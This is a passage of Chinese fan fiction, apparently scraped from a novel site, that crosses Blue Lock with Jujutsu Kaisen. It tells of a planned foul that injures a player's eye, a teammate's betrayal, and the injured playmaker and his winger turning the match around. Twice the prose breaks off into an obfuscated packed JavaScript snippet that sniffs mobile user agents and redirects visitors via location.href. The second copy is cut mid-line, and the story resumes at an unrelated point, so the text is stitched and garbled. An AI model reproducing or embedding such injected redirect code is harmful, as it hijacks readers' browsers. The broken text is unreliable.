镜眼见着成早听到这话,揉了揉鼻子掩盖住上扬的嘴角。 成早带着轻松的口吻:“那是当然,毕竟前插可是我的成名武器嘛。” “但索要夸奖就算了。”镜及时泼了漂冷水,“在这里太依赖别人进球会被淘汰的。” 说完这句话,镜忽然注意到洁世一一直在身边看着自己,眼睛里透露出一丝欣慰。 镜用眼神表示疑惑,“……?” “没什么。”洁笑着看向屏幕,“总感觉从对战Y队之后,镜就变得亲切了很多呢!” 镜若有所思地看向双手,“这样吗?”自己把Z队当做了「同伴」吗?能在球场上一起战斗、一起得分的「同伴」。 “这对双胞胎擅长的是配合。对战马狼在的X队,也是他们进了4球。”同一时间,伊右卫门解释道,屏幕里放映W队的作战影像,鳄间兄弟完美的配合过人让人赞叹不已,“这对兄弟的距离感、起步时机和传跑配合都是很强大的武器,让人防不胜防。” “等等,要说配合的话我们也有!”五十岚栗梦不服输地站起,“苍崎和洁不算吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15128163|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还要再练。”镜言简意赅地结束这个话题,“说回配合,他们的武器是配合的话,如果切断他们之间的联系,这武器不就不起作用了?” “嗯,是这样。”伊右卫门放下遥控器问道:“大概就是这些吧,大家有什么问题吗?” “喂,所以为什么不让我说啊!”五十岚栗梦抓耳挠腮也想不明白这个问题。 镜站起身,走回屏幕前。 “关于配合的问题,我有件事想说。” 在他前方,千切屈起腿坐在椅子上,一只手支着桌子,另一只手卷着头发把玩。 “下一场和W队的比赛,我想着重注意我和千切的配合。” “千切?”洁呢喃着。这就是刚才镜阻止毛栗将那个话题继续说下去的原因吗?因为要宣布这件事? 虽然一早就奇怪过Z队排名最高的镜为什么会选择倒数第二的自己,但是他们之间的默契早就用对战Y队的那一粒进球完成了证明。事到如今静反而要更换搭档,难道说是因为千切有什么自己不知道的出色之处吗? 随着镜的话说出口,放映室内先是一静,随后被一道大喊打破了沉默。 “等、等等!”五十岚栗梦颤抖着问:“千切他不是到现在都没说过自己的「武器」是什么吗?这样也能和你配合好吗?” 蜂乐高高举起手,指出道:“而且,苍崎身上的「补充规则」已经作废了吧?所以说没有必要一定要和不一样的人搭档,不是吗?” “真要竞争的话,算我一个。”镜在比赛里用精湛的传球证明了自己的能力,有这样的球员坐镇中场组织进攻,换谁作为前锋都能有更好的发挥,争取契合自己能力的队友辅佐自己也是得分的关键。掌握中场的「使用权」也是前锋能力的一部分。国神反思了一阵,自我判断道:“我不觉得我会输。” “冷静。让我想想该从哪里开始解释。” “各位,我回来了……” 正当镜准备一一回答同伴们的问题,门口忽然传来久远的声音。 久远走进来,带着一身热气,脚步虚浮脸色酡红。看到镜站在大屏幕前,他惊愕地睁开了眼,“——欸?苍崎?” 看到他,久远似乎很惊讶。镜不意外这点,对久远打了个招呼: “嗯。是我。欢迎回来,久远。” 久远的表情超出镜想象的复杂,“不……这话该由我来说,欢迎回来,苍崎。”他看向放映室的其它队友,“只不过,这到底是?” 成早从椅子上跳下去,“啊!你回来了久远!” “是是。现在是怎么一回事?”久远看向镜,“苍崎?能帮我解释一下吗?” 镜回答道:“第一件事是:我还会继续在Z队踢完剩下的两场比赛。” “原来如此……”久远低声说,皱了皱眉问:“那第二件事呢?” “第二件事是……接下来和W队的比赛,我想和千切搭档配合起来。” 镜说着,将右手按在胸口担保状。 “虽然有我的私心在,但是我能发誓,这是可以取得胜利的具备足够合理性的决定。” “拜托了,久远。” 28.无暇顾及 对战W队前一天,晚8:11。 一天的训练结束,镜脱下衣服,叠好放进柜子里,跨入浴池。积攒了疲劳的身体在热水里慢慢变得放松。镜闭上眼睛,抬起手靠在池边的大理石上。模糊不清的身影几乎消失在蒸腾的水汽中。 耳边传来异样的动静,镜仿佛没反应过来似的闭目休憩,脸上是肉眼可见的松懈跟疲惫的表情。 直到池水泛起波澜,镜撩起刘海,擦掉脸上的水珠,“能换个浴池吗?发胶国王。” 马狼照英平日里富有冲击性的发型在洗澡时放了下来,此刻一只脚踏进浴池里,不爽地盯着镜。 “啊?”他无视了镜喊出的绰号,另一只脚也踏了进来,“浴池没写你的名字吧。” 镜躺在热气腾腾的浴池边看着马狼。这家伙的声音,听起来跟某个起死回生把自己害惨的家伙一模一样。虽然不至于因此就产生什么成见,但现在他心烦意乱,免不了产生些发泄情绪的诉求。 “我听说了,你们1:4输给了W队。”镜开口说了一句话,“输的很惨啊,国王。” “很明显是因为那些「球渣」拖了我的后腿吧,白痴刁民。”马狼脸上的阴沉更甚,但是并没有反驳镜摆出的事实。“还有对面的那对白痴兄弟,像苍蝇一样缠得让我心烦。” 一缕粘湿的白发从鬓角掉到耳侧,透明的水珠从镜的额头掉进浴池。 “虽然我无意教训你,但是我觉得只凭自己没办法踢出想要的球。” 镜确定自己在说这话的时候受到了马狼危险的一瞥,但他无动于衷。 湛蓝的苍天之瞳居高临下地投以视线。 “把「臣子」当做累赘,觉得自己能搞定球场上的一切事情,这样真的好吗?国王。” 马狼只觉得头部充血,他再一次品尝到输掉比赛时的屈辱跟怒火。 他起身逼近泡澡的苍崎镜,“喂,白毛刁民,你是想打架吗?” 如果不是双方都赤.裸上身,他大概会揪住苍崎镜的衣领再说出这番话。 镜用手撑起身体缓缓从浴池中站起,露出没有浴巾包裹的上半身蔓延的细密的浅色疤痕。先前比赛时在小腿上留下的创口已经愈合,只剩下一块浅红的锥形伤疤。 “如果你想,我会答应。”镜说着,绕过马狼,跨出浴池,“从规则来看,你肯定会留到第二轮。到时候我乐意奉陪。” “这话是什么意思,要逃跑吗?”马狼轻蔑地露出似笑非笑的表情。 “不。主要是因为休息时间已经被毁了,没必要继续拖着。而且……” 镜拿起池边的毛巾搭在脖子上,水滴滴答答地沿着他的皮肤落向地面。 “……而且忽然觉得,两个「失败者」在这里互相攻击很没意思,仅此而已。” 此话一出,镜清楚地看到马狼的表情从轻蔑变得危险。 “……我要杀了你,你这个卑微贱民。” 他的声音阴沉得让人发寒。 没有人阻拦。就算几米远淋浴处有人看到,也只当作别人的事事不关己地揉搓着头顶的泡沫。拧开水龙头,冷水带着一股冲力浇在他的头发上。 “好像真惹你生气了……”镜面无表情地说,“虽然不怕你,但现在道歉来得及吗?” 但让他没预料到的是,马狼只是在想到什么后又寒着脸坐了回去。 “……等有机会吧,白毛混蛋。” 在不绝于耳的流水声里,镜听到马狼的话从仿佛很远很远的地方模模糊糊地传来。 “随便你耍嘴皮子。但明天的比赛,我照样会进个够。” 镜站在浴池边复杂地看着他。不得不承认,马狼比自己想象中冷静得多。 “而且,姑且奉告你一句。如果你打算用赢那些球渣的招数对付那对苍蝇兄弟……” 马狼霸占了镜的位置。 他从盆里拿出毛巾搭在背上,余光扫过镜身上的伤疤,哼笑一声转过头。 “就做好职业生涯被毁的准备吧。” “虽然不知道你为什么这么说,不过我会判断自己的使用方式的。”镜拧起眉回答。 “随你。” 马狼没有理会镜如何回应,从毫无动作的背影来看他压根不在乎这个,完全只是对偶遇的对手随口一说。 “别被无聊的小动作变成小丑就行了。” 镜思考了几秒。 “谢谢。我走了,国王。这个人情会还你的。” 从浴室出来,镜积攒的情绪似乎真的释放了点,虽然过程和他想的很不一样。 镜在寝室门口遇到了久远。他看上去在为什么事情而发愁。 看到他湿着头发出现,久远的凝重为之消失一刹。 “久远?”镜看看四周,“找我有事吗?” “苍崎。”久远似乎在下定决心。“这么问很失礼,但你真的要参加下一场的比赛吗?” “为什么这么问?” “你最近状态很奇怪,训练赛总出现失误就算了,还总是独来独往。”久远按住镜的肩膀,“大家都很担心是不是出了意外,还有之前和X队比赛受的伤有没有加重。” “那种东西也算得上证据吗?没必要担心我,我没有事。” 镜推开久远的手皱着眉说。 “好了,让开吧,久远妈妈。我要回去休息了……” “苍崎!” 久远呵斥道,随后一道清脆的声音在空旷的走道中回响。 镜歪过脑袋,面无表情地瞥视久远,他的左脸上有一道新鲜的红色掌印。 空无一人的寝室熄着灯,苍崎镜的床铺被他单独拖到了靠门的位置。 看起来和中央的其它铺位格格不入。 镜正过脸,“那么,久远想怎么样?” “……弃权吧,苍崎。” 久远咬着牙说,镜清楚这是一个多么艰难的决定。 “再这样下去你绝对会出现意外,与其到时候后悔,还不如先暂时放弃……” 镜低下头。 走道一侧是好几扇坚硬的屋门。 “但那样,会坐实我的没用吧。” 镜抬起头,微微勾起嘴角。 “谢谢你的关心,久远。只是点小事,我真的没问题。” 久远用力攥紧拳头,在镜的注视下缓缓开口,声音里透着镜不理解的沉重和无力。 “你这个样子,就算能战胜W队,到时候面对最强的V队又能起什么作用……” “到时候我们还是会输……” 镜闭了闭眼,什么都没说,走进寝室。 门在身后关上。 只剩下久远一个人带着镜不理解的心情孤零零地站在走廊里。 第二天,W队对战Z队,开场前15分钟。 “苍崎……” 久远走过来,带着抱歉的笑意。 “昨天我想了一晚,还是很抱歉昨天那样对你。今天的比赛能按战术来吗?” 镜蹲在地上系好鞋带,抬起头说:“别这么说。该做的事我会做的。” 久远松了口气,“谢谢,苍——” “多余的话不必说了。”镜打断道,低声说,“毕竟,我身上的问题比久远你更多。” 在久远呆愣的瞬间,镜起身走向球场。 站在球场的边线外,看着那片灯光下鼓动的绿色,镜深深呼气。 没问题。和以前不一样,现在证明自己的办法只不过是赢一场比赛。 拿出全部的水平来。 不需要费力就能赢。 比赛开场。 在对面的场地里,鳄间计助嘴角下撇凶狠地训斥自己的队员。 “喂喂,看清楚,这是怎么回事?那个苍崎不是不会上场吗?” 眼看着Z队已经在中场的组织下有条不紊地运转起来,同样输了一场,同样没有退路的鳄间计助明显变得焦躁。 “……还在发呆吗?” 在鳄间计助的感知里,苍崎镜的声音伴随着他越过自己的动作忽然出现。 “哈?”鳄间计助急忙伸手阻拦,却被苍崎镜连人一起带得人仰马翻,“喂!防守啊你们这群笨蛋!” “防守……” 镜喃喃自语,看着眼前拦截自己的人从容将球传向边路。 “没用的。” 千切接球,看着侧面压迫上来的对手立刻选择了传球。 “苍崎!” 镜调整位置,接住千切回传的球。 他转头观察,见没有破绽,再度传了回去。 “再多试几次,千切。” 鳄间计助心里冒火。这两个家伙,看似只是在无聊地传球而已,但是每一次启动都选在了防线来不及反应,搭档却已经做好准备的一瞬间,所以才能一直不被断球把他们像猴子一样耍得团团转! 防线被镜和千切调动得疲于奔命。这时候,鳄间计助左边不远处传来一道热烈的视线。 嗯! 鳄间淳一瞪大眼睛看着他。 读懂了那眼神,鳄间计助笑了起来。 “嘻嘻,大哥,是那个吧,我懂的!” 镜接住传球,屏住呼吸。他眼前出现了一道狭小的通路,直通球门的正前。 他没有犹豫,立刻从防线的空隙冲了上去,全力冲刺带球逼近球门。 站在球门前,镜没有停顿,选择直接起脚射门——被挡出来了,这也在计划内。足球飞向千切所在的位置。那样的角度,进球的概率比自己要大的多。 砰! 足球撞在鳄间计助的脸上,弹飞出去。 “这么拼命啊。” 镜看了眼W队的球门,又看了眼鳄间计助之前在的位置。 足球高高地飞起——向着边线—— 不,这个弧线,距离边线还差一点!不太好救。 镜仰着头追着足球奔跑,紧紧粘着足球在地上的影子,不断推测具体的下落位置。 但,并不是救不到。 镜眯起眼,算准时机扑了出去。足球撞在他的额头上,反弹向远处的草坪。 “第二落点!” 就在这时。苍崎镜忽然感受背后传来一股浓烈的恶意,回过头看到的是鳄间计助脸上诡异的微笑。 他睁大眼睛,意识到有什么不好的事情发生了。 “苍崎!” 球门前传来千切的大喊。 时间一下变得很慢。 脸上忽然落下阴影,镜看到了闪着寒光的鞋钉和陌生的W队球员孤注一掷的表情。 嘟——! 两声哨几乎同时响起,但镜捂着眼睛蜷在草地上,无暇顾及比分板上0:1的领先。 “啊?!你这混蛋在干什么啊?!”雷市将犯规的W队球员一把揪起,指着天花板角落的监视器,“这家伙绝对是恶意犯规了吧!电子裁判,赶紧把这家伙红牌罚下啊!” 被鳄间兄弟派下犯规任务的W队成员发着抖,看着逐渐围绕上来的Z队流着冷汗说: “没、没用的,我出脚的时机很好,只会被定性成严重意外,裁判只会判我黄牌……” 这是一场有预谋的犯规,连后果都清楚地想好了。果不其然,就如他所说,最后给出的判罚是一张黄牌。 “你这混蛋!”雷市阵吾捏起拳头。 “住手……雷市。” 镜不知何时已经从地上爬起,额头渗着血,有一道显眼的伤口正在流血。 他闭着左眼,抓住雷市的手腕,手因为用力过大而颤抖。 “恶意攻击对手会判黄牌甚至是红牌。” 镜的视野被一道道电流般频繁闪动的黑线占据,他皱着眉眨眨眼。和眼睛出现的异状相比,额头的这点疼痛实在不值一提。 随着那些黑线愈发紧密,像罗网一样遮蔽了近乎全部的视野,镜不得不通过听力和直觉猜测周遭的情况。 他转过头,保持冷静问:“我明白了,W队。这就是你们的「战术」?” 他眼前的模糊人影似乎顿了顿,走向他。 “苍崎,我是千切。”是千切的声音,他操控自己转了个身,“你要找的人在那边。” 千切眼看着镜的眼睛像是出现故障的机械一样泛起层层血丝,连光泽也失去了,湛蓝的眼睛仿佛要在刚才的重创下开裂成碎。 “呀呀。你们聚在这里干什么?没听到裁判的判罚吗?”鳄间计助挤进来,弯下腰追着镜失去高光的眼睛看,“这是怎么回事,眼睛受伤了?好可怕——” 镜眨眨眼,漫不经心地宣告:“等下场之后我会揍你哦,鳄间くん。” “没关系,到时候你们就失败了,对失败者我们是很包容的。” 鳄间计助带着嘲弄的表情看向千切。 和将心思全部都收在心里的镜不同,新仇旧恨叠在一起,千切的表情相当难看。 鳄间计助火上浇油道:“是不是啊,玻璃天才(笑)千切くん?” “你这家伙!” 嘟——! 又一声哨响,重物倒地的声音,和电子裁判判罚黄牌的声音一前一后出现。 “Z队,4号,千切豹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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球员通道的尽头,千切在那里等待。直到看到两人一起的身影才顿了顿转身离开。 暂停结束,比赛再次开始。 球权转换,W队开球。 “大哥,大哥,想要什么样的球?”过了会,“嘻嘻,我懂,那就踢这样的球!” “左边!两个人一起拦住他!”是国神的声音。 勉强睁开眼往那边看去,但是模模糊糊的黑影还是干扰着镜的视线。 镜眯起眼,等他看清楚时,鳄间兄弟却已经进入了相当危险的距离。 “苍崎!拜托了!” 是洁的声音。 他希望自己拦下这两个人。 镜咋舌道,“我可不擅长防守啊……” 他尝试在鳄间计助运球中途压迫,但是距离判断失误,直接被人球分过晃了过去。 “嘻嘻嘻,天才くん,怎么这么简单的事都做不到啊?” 回头就是鳄间计助得意的表情。 他把球传给鳄间淳一,鳄间淳一球门前起脚射门;伊右卫门下扑,但足球向上方的死角飞去! “这里——!” 久远出现在球门前,起跳后头发翻飞,他咬着牙挡下了这一球。 “啊!你怎么会在这里!”鳄间计助夸张地大叫道,甚至忘了反击。 久远没有理会,笑着将球传回前场。 “各位!组织进攻!” 镜一个人留在后场,就连同是后卫的毛栗都已蠢蠢欲动地前压。 今天的久远,好强。 镜在心里惊叹,一丝安心之余又感到无来由的烦躁。 反倒是自己,好弱。 眼睛在隐隐作痛,将镜带回到7年前德国实验室外总是被落雪覆盖的森林。 那时他也是像现在这样适应着弱小的感觉,想办法融入眼前不断变化的世界。 看不到前场的情况,但是却在一段时间后听到了哨声。 镜努力看清记分板上的数字——0:2。 他握紧拳头,“……太好了。” 他们就算没有自己也能进球。 但这不是结束。 第二球、第三球——没有镜的Z队诞生了第一个创造帽子戏法的人! “真厉害,久远!”休息室内,成早笑嘻嘻的,“没想到苍崎受伤后是你挑大梁欸。” 久远笑着接受成早的赞美,拿起水杯咕噜咕噜吞咽,“我今天状态可能特别好。” 镜坐在角落,一如往常的角落,但周遭的一切却不再是往常那样。 下半场开始。 4:0,已经可以宣告胜利了吧。 镜这样想着,不灵敏的视觉却忽然向他传递危险的信号。凭直觉补位拦截到了鳄间计助的传球路线,镜飞快地将球踢回前场,盯着鳄间计助看。 “嘁。” 故意从镜所在的路线进攻却被拦住这一球,他看起来很不爽。 “反正你还是会输的。” 他们说的不错。这一次进攻被破坏,但接下来得到的却是持续不断的进攻。 而那样偶然的成功防守再也没有出现。 3:4。 为什么会有那么多机会?镜心烦意乱地走向前场。 在那里,Z队除了镜和伊右卫门外的其它人都站在久远面前。镜来到那里时只听到: “你果然背叛了吗,久远?” 是洁的声音。 零散的拼图顺着镜心里铺好的线索串联起来——赛前久远的再度关心、对手的犯规战术、比赛后忽然转变的态度、接连的进球得分,这些东西全都不正常。 “为什么呢?” 跪在地上的久远抬起头,眼前是镜平静无波的双眼。 他无暇回答。鳄间计助从身后按住他的肩膀嬉笑着回答: “当然是因为天才(笑)くん实在是太耀眼了,害得我们不得不出奇制胜。” 镜歪了歪头,“也就是说,你们面对比自己强的人,就只会用这种下三滥手段吗?” “只要你自己认输退赛,我们也没必要用这种办法对付你。”说这话时,鳄间计助的眼睛一直盯着千切,“被队友评价为「没用」了还要觍着脸上场,要我说,你们这些天才还真是没有自知之明啊。” 镜想了想。做一堆事,从身体到心理都将他打击到崩溃,就是W队的「战术」吗? 他淡淡道:“真恶心啊。” 少年揉揉眼睛,球场的喧哗不曾有一刻停歇。 稍微——只是稍微。 有点生气了。 29.双人独角戏 球场中央,随着哨声吹响,苍崎镜和鳄间计助冲撞在一起,肩膀处发出让人害怕的响声。 注意到苍崎镜的眼睛一直追着他,鳄间计助猜到他的想法,嬉笑着带球后撤。 “又追上来了啊,瞎眼天才(笑)!” “给我下达后撤指令的参谋是你们的「间谍」,现在指令作废,指挥「Z队7号」的指挥权重新回到我手上。”镜像只狼一样卡在鳄间计助前进的路线上,“你有什么意见吗?鳄鱼眉毛的胆小鬼。” “嘻嘻嘻。”鳄间计助脚下一动,“真好,真好啊!这样就能正面击溃你这个华而不实的天才了!” 鳄间计助径直冲向苍崎镜,一改以往和兄弟配合撕穿对手防线的风格。 “呐,镜ちゃん?” 蜂乐从侧面杀出,用身体堵住鳄间计助到鳄间淳一间的路线。 “需要帮忙吗?” 难得地,镜从蜂乐天真烂漫的脸上看不到一点笑意。他没有看自己,而是盯着鳄间计助的动向,不断寻找破绽。正是那种表情加上自始至终的高超盘带让对手压力倍增。 镜后知后觉地意识到:蜂乐他,好像在为自己生气。 “帮大忙了。虽然想这么说,”镜说道,“不过多谢关心,「复仇」这种事,我忽然想自己来做。” 他盯住鳄间计助从脖子到心脏附近的区域。 “看不清距离,不看就行了。” “哈?哈?!” 鳄间计助感觉天旋地转——不,不只是感觉,而是他真的在被镜撞飞出去。 不! 鳄间计助意识到这点后,拼命咬牙让自己的身体稳定下来。 他可以站住!准确点,他可以赢这识人不清还瞎了眼的白痴天才! “没用的。白痴。” 就在刚才那一瞬间,镜忽然起步,瞬间压低身体,转身用后背微微抵上鳄间计助的胸口,随后以手臂撞开鳄间淳一的手臂,整个上半身将鳄间计助向上一顶,鳄间计助前进的力便遭到破坏,像一床被掀起的被子般软绵绵地掀翻在地。 而镜则趁着倒地的动作还没完成,将目光,落在了他脚下兀自前滚的足球上。 调整角度,估算距离。 多了一步,但没关系。无人看护的黑白足球还是回到了他的脚下。 “蜂乐。” 镜扭头看向蜂乐的位置。 “这招可以用来突破,但射门这种精密动作我现在做不到。硬要去射门,结果大概也会像练习时那样砸中门柱。” “哇哦。”足球忽然落在脚下。蜂乐眨眨眼,“镜ちゃん的意思是?” 没等蜂乐做出反应,镜直接把球传向了他,马不停蹄开始跑位。 “和你想的一样。” 镜呼出一口气,闭上眼。 不想那么多。来的人是你,我就专心思考怎么配合好你。把「司令塔」的职责抛之脑后,放弃理性,回归感觉的怀抱。 眼前的黑幕还没有消失的预兆,但没关系。他不需要看清每个人都在哪里,只需要看清「一个人」就行了! 清澈的光芒在那双已然黯淡无光的眼睛里流淌。 此刻要,把所有的精神,都用在观察蜂乐回一个人的动作和跑位上。 苍崎镜转过头目不转睛地盯着停球不动的妹妹头少年,轻轻地说了三句话: “W队的人要来了。” “机会难得。” 还有—— “我们,突破他们。” 像是启动了什么开关,两个人几乎同时 “可恶!”鳄间计助从地上爬起,心知自己的位置来不及回防,“别管白头发的家伙!给我防住8号!” 镜侧过头,听到这句话,歪了歪头,“被小瞧了。” 不只是鳄间计助,W队从后场压上前来围堵蜂乐的人恐怕也有一样的看法。眼看着蜂乐被三人围住,鳄间淳一也赶到回防,在附近蠢蠢欲动,可自己这边没有一个人在看顾,镜很清楚:看不清东西的自己,绝对已经被对面当成了不起作用的「废物」。 虽然眼睛不舒服真的很烦就是了。 那么你呢,蜂乐? 你觉得我是什么? 趁着混乱,镜消失在W队防守队员的视野里。W队半场,蜂乐孤身一人吸引走了全部的目光。 压力。 真牢固的防线呐。要怎么办,传球给镜ちゃん吗?周旋之余,蜂乐找机会捕捉着镜的位置。但是看不清东西的人会出现很多低级失误,连球都可能接不到。 “啊、喂!”脚下又被人使了一招,蜂乐赶忙护住球,嘀咕道:“不会给你的哦。” 话虽如此,但再这样下去…… “蜂乐!这边!”是洁的声音。 “嘻、嘻嘻……”鳄间计助低笑着粘在洁的身后。 要传那边吗? “蜂乐,别中计,回传!快!”后场,国神的喊声阻止了蜂乐转身的动作。 回传组织进攻…… 啊啊、是最普通的选项。 蜂乐眯起眼,极力思考着。 到底,要选哪个? ——话说从刚才起镜ちゃん去了哪里? “蜂乐!” 镜在中路与边路间难以界定的夹缝地带出声。W队的后场防守难以看管的位置,两片防守区域的重合之地,他跑到了哪里,而且还在奔跑。 蜂乐看到了。镜那完全不可理喻的做法背后的真实意图,他用「本能」理解到了! 身体自发动了起来。蜂乐带球后撤,然后立刻向右边传了出去。 “传那边?!”看着足球从自己身边旋转着飞过,W队的防守队员终于忍不住大叫。 “做得好,蜂乐。” 足球撞在镜的胸前,落在脚下——没停稳,滚到几米外的位置。 “啊。低级失误……”蜂乐喃喃。 久远愣了一瞬,大声指挥,“快去逼抢!快去——” 但是,没有人。 因为没有任何人觉得这一球会往那传。 镜将球踩在脚下,“这里,是你们送来的无人区。” 起脚,是远传的动作。 “来吧,前锋们。” 伴随一声巨响,足球破空而起,向着空无一人的左侧边路。 旋转着、旋转着,随着足球的影子彻底消失在有限的视野中,镜停下奔跑,热意慢慢地凝固,球场上漫涌的激情在这一刻渐渐离他远去。 镜「看」着那边。 “我的作用,就到此为止了。”他说。 咚! 足球落地——落点处,既没有Z队的人,也没有W队的人。 “嘻嘻,这叫什么传球啊,简直就是初学者水平嘛!”看着镜组织的「粗糙」进攻,鳄间计助放下了警惕,“喂喂,抢球了你们!” 虽然落点附近没有任何人,但不可避免的,这枚落在W队半场的球距离W队更近。 足球借着未尽的旋转再次弹起——这次,磕上一只球鞋的鞋尖。 “好烂的传球,想接住真是费劲。” 赤红的身影一闪而过。左边路风速急剧增高的直线领域,是千切豹马的奔跑路线。 省略停球动作,千切在触球之后直接带球奔跑起来。就这样用速度把所有麻烦都甩在身后,不停奔跑,不停奔跑,直到一声宣布进球的哨响把这一切在最酣畅淋漓时畅快地结束。 “但做得好。”品尝着这股滋味,千切扬起嘴角,“看着吧,不会给你后悔的机会!” “真苛刻。居然对伤员做负面评价,再也不给你传球了。”镜不由抱怨道。 但是,尽管嘴上这么说着,连他自己都意识到了,自己的眼睛,其实从刚才起就一直不由自主地追逐起那抹沿着边线全速奔跑的红。 已经无法移开视线了。因为眼前正在呈现的一切,正是他理想图景的一部分。 那抹属于千切豹马的、不断沸腾燃烧的红仿佛缓解了眼睛的疼痛。 在无人关注的边缘,苍崎镜慢慢地、一步步地,跟随千切豹马的速度奔跑起来。 恍惚间,他终于理解了,自己这段时日的焦躁是为了什么——是因为恐惧。恐惧往昔的恶意重现,夺去自己好不容易再次寻找到的一切。但说到底是因为自己有想要的东西:想把这样的「景象」永远留在身边,想保护好这样的人,和这样的人一起拼完这幅迄今为止只存在于内心的景象。自己之所以焦躁不安,不过是因为害怕重要的同伴因为自己的缘故遭受不测,梦寐以求的希望变成泡影。而「五条镜」也是一样。最不想见到的事,就是重要的同伴被恶意伤害,变成不像自己的人。 但反过来。看到曾经的同伴在和平的世界里生活也好,看到这奇迹般的身影再度在球场奔跑也罢,都令「苍崎镜(五条镜)」感到无比安心。 于是他也奔跑起来,加速,再加速,试着用尽全力去追上对面疾雷呼啸一般的红。 “跑吧,大小姐。”镜一脚踏上禁区的白线,“这次,就让我来当你的仆人。” 参与防守蜂乐的W队成员体力耗尽,看到这一幕,惊喊道:“7号还能接球吗?!” 怎么可能。镜在心里回应。想要不去观察就确定千切的奔跑速度并接住那种奔跑速度下传出的球几乎是不可能的。自己这番跑动根本不是为了进球得分,仅仅是为了威慑对面而已。只要能让那边进球的有利条件再多一点点、让射进那一球的概率再大一点点就足够了。 “你好,守门员。” 白发少年轻轻踏在球门前,向远处微微侧身做出接球的姿势。 但只是一秒,下一秒他已转身向另一侧跑去。 “用眼睛记住这一刻吧,记住这在「蓝色监狱」复出,比炉心火焰更灼人的速度。” 在守门员移开视线的一秒里构成的阴影里,是一道将所有防守甩脱的赤红电光。 风将这话传递到千切的耳畔。 他不由笑笑,“哈……真会吹捧。” 这样,岂不是完全没有减速的理由了? 加速。 加速。 加速。 从中线到禁区的那段路,每跑出一步皮底都传来沸热,膝盖在颤抖,发出「停下」的呻.吟。 这种感觉让千切豹马恐惧不已。 但眼下已站在球门前。品味过再度奔跑的感觉、脚尖触球的感觉,他只想用加速去触及极限之后更多的激情。 献上生命也在所不惜。 触球。 射门。 守门员扑救失误,足球带着旋风落进W队的球网。裁判哨响,进球有效! “怎么可能……” 久远木偶般朝球门走了几步,滚落在球门里的足球仿佛在嘲笑他的选择。 他看到有几分面熟的W队选手脸上写满了绝望,嘴里念叨着什么。 他记得,那似乎是被鳄间兄弟胁迫着故意铲伤苍崎的选手。 “可恶……可恶……” “为什么,为什么这样都还能看到,为什么这样都赢不了……” “天才,哈哈……我讨厌天才……” “……因为他根本没有「看」。” 另一名W队球员感到阵阵晕眩,不止因为体力,更因为意识到眼前发生的一切。 “那种级别的传球对对面的7号来说,已经是「本能」了啊……” 因为是本能,所以不需要思考,更不需要观察。至于对球场的掌控,只要传到适合同伴发挥的位置,是不是能进球的位置便不再重要,因为他会用自己做诱饵,加上同伴的才能,让不可能也变成可能。 “代价入账。用你们的自大交换得分。” 镜看着陷入绝望的W队,指着鳄间计助用无起伏的声调一字一顿道: “我要,踢你们个九比零。” 用已经刻进基因的本能去接球,用积攒起来的了解创造出超越对手的配合。 W队对Z队,下半场比分,3:5。 “……”看到这一幕,鳄间计助终于反应过来,“喂、喂喂,这不是完全没变吗?!” 由这次进攻创造的比分优势在士气颓靡的W队和进攻的Z队手里持续到了最后一秒。 “唔。没能踢出九比零啊。” 比赛结束,镜看着悬挂高处的记分板默默揉了揉眼睛。他能感觉到「失灵」的感觉正在自己的血管中游走。已经到极限了。被黑线覆盖的那只眼睛现在已经看不见任何东西了。 看着站到W队一边的久远,镜开口:“别走。理由呢?久远。做背叛者的理由。” “……”久远转过身,行尸走肉一样地微笑道:“因为,没办法赢啊。” 久远用温柔的表情说道,语调却相当陌生。像一个未曾相识的人,一时间完全无法让人相信那就是久远。 “这些人从一开始就打算不择手段地对付你,就算不拉拢我,也照样会用那招。”久远笑着说,“11人VS10人,怎么可能赢。何况会被他们弄下场的还是最重要的你。” 身着深蓝队服的久远涉站在与自己格格不入的W队的十一人前。他平静地解释: “既然阻止不了那些家伙的打算,那我们就一定会输。所以我决定,做正确的选择。” “久远,你这叛徒混蛋!这种歪理也敢拿来搪塞我啊!”雷市阵吾忍无可忍地指着久远打断道,“什么输不输赢不赢的,说到底就是你这家伙自己怕了吧!” “完全是在给自己找借口。”我牙丸罕见地出声道。 脚步声接近,洁世一走向久远。 “投靠W队,拿到3分,你就是进球最多的人。这才是你背叛我们的真正理由吧。” “怎么可能?Z队。”久远矢口否认,笑着摊开手,“好了,你们是捡回一条命。但是到时和V队的比赛你们能怎么样?” 镜感受到久远的目光久久地停留在自己身上,带着让人感到复杂的情感。 “你们还是会输。因为现在的Z队,说到底只是个围着苍崎镜运转的机器。等这家伙玩够了走掉,其余的零件如何还会有人考虑吗?” 一时间没有人反驳。 “最高的排名、响亮的名声,现在,连阴谋也不能限制你了。”久远步步紧逼,站到镜的跟前,带着复杂的笑容低头看向镜,“我真的想知道,苍崎,你为什么还在Z队呢?” 国神一把将久远架开,低声道: “喂,久远。说话别离那么近。” 镜看着久远。 “我不想给背叛找借口,但是,”他的眼神落在久远身后的虚空,就好像那里有什么一样,“我「会离开」让你感觉不安了吗?” 久远愣在原地。 镜眯起眼,短暂地扫过久远身后的「诅咒」。污浊的黑线密密麻麻地缠绕着久远的脖子,但那些线条的源头——他低下头看向自己的手背,从与真人搏斗时留下的擦伤里冒出黑色的泡沫,这些泡沫在手背上方十厘米的位置凝聚成线,游鱼一般漂浮到久远身后。 镜攥紧手掌朝身侧挥动拳头,甩开那些诅咒之泡。 自己的负面情绪在形成诅咒。说来也只有在这时候才会想起自己已不是咒术师的事实了。 看着绿荫之上沸腾的黑色,镜说: “是我沉浸在自己的想法里无法自拔,没能完成「补充规则」,给各 